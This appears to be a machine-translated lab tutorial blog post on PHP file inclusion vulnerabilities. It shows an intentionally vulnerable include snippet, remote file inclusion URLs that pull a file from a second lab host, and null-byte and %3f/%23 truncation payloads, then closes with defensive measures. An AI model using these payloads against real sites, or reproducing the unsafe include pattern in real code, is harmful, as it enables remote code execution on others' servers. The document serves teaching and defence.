当前位置:网站首页>File contains vulnerabilities (II)
File contains vulnerabilities (II)
2022-07-02 05:45:00 【A τθ】
One 、 Contains remote files
1、 Principle analysis
When the remote file is opened , It can include remote files to execute locally . When allow_url_fopen=On、allow_url_include=ON Two conditions at the same time
by On Allow remote inclusion of files .
2、 Practice
2.1 Virtual machine building test.php
<?php
include $_GET['file'];
?>
2.2 python Set up resume server locally
<?php
phpinfo();
?>
C:\Users\Administrator
2.3 The remote file contains
http://192.168.127.132/test.php?file=http://192.168.1.107:8089/1.txt
Two 、 The file contains a truncation attack
The file contains a truncation attack , stay php Version less than 5.3.4 Allow to use %00 truncation , In the use of include And other files contain functions , You can truncate the file name ,
Truncation will be affected by gpc influence , If gpc by On when ,%00 Will be converted into \0 Truncation will fail .
<?php
include $GET['file'].'.php';
?>
Pass in file File name concatenation .php In use include The introduction of the file .file Controllable parameters will cause loopholes .
1、 File contains %00 truncation
Upload files with malicious code to the website directory , Include import and then 00 truncation .
The current test version is php 5.2.17,gpc=off
http://192.168.127.132/test.php?file=1.jpg%00
2、 Remote include truncation
2.1 Principle analysis
Characters suitable for remote truncation are :
Symbol | URL code |
---|---|
# | %23 |
? | %3f |
00 | %00 |
All the above characters can be truncated :
allow_url_fopen =On
allow_url_include=On
2.2 Environment building
<?php
include $_GET['file'];
?>
2.3 python Set up resume server locally
<?php
phpinfo();
?>
C:\Users\Administrator
2.4 The remote file contains
http://192.168.127.132/test.php?file=http://192.168.1.107:8089/1.txt%00
http://192.168.127.132/test.php?file=http://192.168.1.107:8089/1.txt%3f
http://192.168.127.132/test.php?file=http://192.168.1.107:8089/1.txt%23
3、 ... and 、 Defense plan
1. Strictly judge whether the included parameters are externally controllable , Because the key to successful exploitation of file containing vulnerabilities lies in whether the contained files can be controlled externally ;
2. Path restrictions : Restrict contained files to only one file , Be sure to prohibit directory jump characters , Such as :"../";
3. Include file validation : Verify that the included file is a member of the whitelist ;
4. Try not to use dynamic inclusion , It can be fixed on the page to be included , Such as :include('head.php').
5. Set up allow_url_include by Off
边栏推荐
- Foreign trade marketing website system development function case making
- Brew install * failed, solution
- Gee: use of common mask functions in remote sensing image processing [updatemask]
- [Chongqing Guangdong education] selected reading reference materials of British and American literature of Nanyang Normal University
- "Original, excellent and vulgar" in operation and maintenance work
- Fabric. JS centered element
- 记录sentry的踩坑之路
- Zzuli:1067 faulty odometer
- Gee series: Unit 1 Introduction to Google Earth engine
- The Hong Kong Stock Exchange learned from US stocks and pushed spac: the follow-up of many PE companies could not hide the embarrassment of the world's worst stock market
猜你喜欢
随机推荐
[Chongqing Guangdong education] selected reading reference materials of British and American literature of Nanyang Normal University
XSS basic content learning (continuous update)
Online English teaching app open source platform (customized)
Fabric. JS basic brush
[technical notes-08]
460. LFU 缓存 双向链表
all3dp.com网站中全部Arduino项目(2022.7.1)
Importation de studio visuel
Gee series: unit 10 creating a graphical user interface using Google Earth engine [GUI development]
idea开发工具常用的插件合集汇总
Visual Studio导入
Zzuli:1065 count the number of numeric characters
Reflection of the soul of the frame (important knowledge)
Gee dataset: chirps pentad high resolution global grid rainfall dataset
Practice C language advanced address book design
Zzuli:1069 learn from classmate Z
"Original, excellent and vulgar" in operation and maintenance work
Gee series: unit 6 building various remote sensing indexes in Google Earth engine
How to change the IP address of computer mobile phone simulator
Disable access to external entities in XML parsing